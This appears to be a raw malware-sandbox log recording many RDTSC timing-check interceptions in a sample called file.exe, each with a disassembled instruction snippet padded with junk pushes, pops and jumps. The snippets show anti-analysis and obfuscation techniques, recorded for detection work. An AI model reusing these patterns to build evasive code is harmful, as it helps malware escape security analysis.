Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CD5C second address: B0CD62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CD62 second address: B0CD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CD68 second address: B0CD9B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA1074681Ch 0x00000008 jmp 00007FDA10746816h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDA10746813h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CD9B second address: B0CD9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B05B second address: B1B05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1AA87 second address: B1AA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1AA8B second address: B1AAA7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007FDA10746806h 0x00000013 push esi 0x00000014 pop esi 0x00000015 jns 00007FDA10746806h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1AAA7 second address: B1AABE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA10EF18A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1AC47 second address: B1AC58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jng 00007FDA10746806h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1AC58 second address: B1AC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF189Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E8FB second address: B1E8FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2466C second address: B24673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24673 second address: B2467A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2467A second address: B24695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA10EF18A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24695 second address: B2469B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2469B second address: B246B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA10EF18A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25D55 second address: B25D82 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA1074680Eh 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FDA1074680Ah 0x00000010 jg 00007FDA10746806h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25D82 second address: B25D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25D86 second address: B25DC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746816h 0x00000007 jmp 00007FDA1074680Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jl 00007FDA10746806h 0x00000015 jnp 00007FDA10746806h 0x0000001b pop ecx 0x0000001c pushad 0x0000001d jo 00007FDA10746806h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25DC6 second address: B25DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CE3F second address: B2CE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CE45 second address: B2CE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F92A second address: B2F930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F930 second address: B2F936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3679D second address: B367DC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDA1074680Fh 0x0000000f jmp 00007FDA10746817h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007FDA1074680Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B367DC second address: B367E8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDA10EF189Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B36AC7 second address: B36ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D777 second address: B3D77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D77D second address: B3D781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D781 second address: B3D785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D2FF second address: B3D323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746816h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FDA10746806h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D323 second address: B3D327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D327 second address: B3D34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746810h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDA1074680Fh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D34E second address: B3D36C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDA10EF18A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D36C second address: B3D382 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jp 00007FDA10746806h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D382 second address: B3D388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D388 second address: B3D38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D4D1 second address: B3D4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D4D8 second address: B3D4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45032 second address: B45038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45038 second address: B4503F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C347 second address: B4C34D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C34D second address: B4C36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FDA10746819h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C36E second address: B4C372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58358 second address: B58361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B58361 second address: B58365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71982 second address: B71995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FDA10746806h 0x00000009 jno 00007FDA10746806h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71C08 second address: B71C41 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDA10EF1896h 0x00000008 jmp 00007FDA10EF18A4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FDA10EF18A8h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71C41 second address: B71C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA1074680Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FDA10746806h 0x00000012 jmp 00007FDA1074680Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71C62 second address: B71C68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71C68 second address: B71C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDA10746819h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F34 second address: B71F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F38 second address: B71F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F3E second address: B71F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA10EF18A0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71F54 second address: B71F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B72236 second address: B72242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FDA10EF1896h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B756AF second address: B756D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FDA10746811h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75966 second address: B7596A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B787D0 second address: B787D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B787D6 second address: B787DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B02A7 second address: 53B02AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B02AB second address: 53B02B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B02B1 second address: 53B0301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FDA10746811h 0x0000000b adc cx, B2B6h 0x00000010 jmp 00007FDA10746811h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov bh, ch 0x0000001d call 00007FDA10746819h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B036C second address: 53B0372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0372 second address: 53B03E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDA10746816h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDA10746811h 0x00000019 adc cl, FFFFFFF6h 0x0000001c jmp 00007FDA10746811h 0x00000021 popfd 0x00000022 pushad 0x00000023 movzx ecx, dx 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b jmp 00007FDA1074680Fh 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B03E3 second address: 53B03FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B03FE second address: 53B0420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8BD71 second address: A8BD75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8BF13 second address: A8BF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8BF18 second address: A8BF33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA10EF18A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C152 second address: A8C16A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746814h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C16A second address: A8C17C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA10EF189Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C17C second address: A8C180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0476 second address: 53B04B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDA10EF18A0h 0x00000009 adc ax, 9FF8h 0x0000000e jmp 00007FDA10EF189Bh 0x00000013 popfd 0x00000014 movzx esi, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDA10EF18A1h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B04B5 second address: 53B04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B04BB second address: 53B04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B04BF second address: 53B04DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FDA1074680Eh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B04DC second address: 53B0542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDA10EF18A1h 0x00000009 and al, FFFFFFA6h 0x0000000c jmp 00007FDA10EF18A1h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FDA10EF18A0h 0x00000018 adc ah, 00000048h 0x0000001b jmp 00007FDA10EF189Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FDA10EF18A5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0574 second address: 53B057A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0677 second address: 53B0677 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov eax, 48D21D33h 0x00000011 mov cx, 598Fh 0x00000015 popad 0x00000016 jne 00007FDA10EF1834h 0x0000001c mov al, byte ptr [edx] 0x0000001e jmp 00007FDA10EF18A6h 0x00000023 inc edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDA10EF18A7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B06DE second address: 53B0735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FDA10746813h 0x0000000b sbb esi, 7B3F3C5Eh 0x00000011 jmp 00007FDA10746819h 0x00000016 popfd 0x00000017 popad 0x00000018 dec edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FDA10746818h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0735 second address: 53B0744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0744 second address: 53B078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA1074680Fh 0x00000008 pushfd 0x00000009 jmp 00007FDA10746818h 0x0000000e or ah, 00000018h 0x00000011 jmp 00007FDA1074680Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea ebx, dword ptr [edi+01h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B078A second address: 53B0878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007FDA10EF18A6h 0x00000011 inc edi 0x00000012 pushad 0x00000013 mov eax, 41070F6Dh 0x00000018 mov eax, 5B123569h 0x0000001d popad 0x0000001e test al, al 0x00000020 jmp 00007FDA10EF18A4h 0x00000025 jne 00007FDA81D69B38h 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FDA10EF189Eh 0x00000032 sbb cl, 00000068h 0x00000035 jmp 00007FDA10EF189Bh 0x0000003a popfd 0x0000003b mov edi, ecx 0x0000003d popad 0x0000003e mov ecx, edx 0x00000040 jmp 00007FDA10EF18A2h 0x00000045 shr ecx, 02h 0x00000048 jmp 00007FDA10EF18A0h 0x0000004d rep movsd 0x0000004f rep movsd 0x00000051 rep movsd 0x00000053 rep movsd 0x00000055 rep movsd 0x00000057 jmp 00007FDA10EF18A0h 0x0000005c mov ecx, edx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 push edi 0x00000062 pop eax 0x00000063 pushfd 0x00000064 jmp 00007FDA10EF18A9h 0x00000069 and eax, 5D351046h 0x0000006f jmp 00007FDA10EF18A1h 0x00000074 popfd 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0878 second address: 53B0913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746811h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c jmp 00007FDA1074680Eh 0x00000011 rep movsb 0x00000013 jmp 00007FDA10746810h 0x00000018 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FDA1074680Eh 0x00000026 xor cl, 00000078h 0x00000029 jmp 00007FDA1074680Bh 0x0000002e popfd 0x0000002f mov dl, ch 0x00000031 popad 0x00000032 mov eax, ebx 0x00000034 jmp 00007FDA1074680Bh 0x00000039 mov ecx, dword ptr [ebp-10h] 0x0000003c pushad 0x0000003d mov ax, 2FBBh 0x00000041 mov ecx, 30D10C97h 0x00000046 popad 0x00000047 mov dword ptr fs:[00000000h], ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FDA10746814h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0913 second address: 53B0917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0917 second address: 53B091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B091D second address: 53B096A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007FDA10EF18A0h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDA10EF189Dh 0x00000019 sbb al, FFFFFF86h 0x0000001c jmp 00007FDA10EF18A1h 0x00000021 popfd 0x00000022 push ecx 0x00000023 pop ebx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B096A second address: 53B09C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDA10746813h 0x00000009 sub ch, FFFFFFBEh 0x0000000c jmp 00007FDA10746819h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FDA10746810h 0x00000018 xor al, FFFFFFB8h 0x0000001b jmp 00007FDA1074680Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 pop esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B09C8 second address: 53B09E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
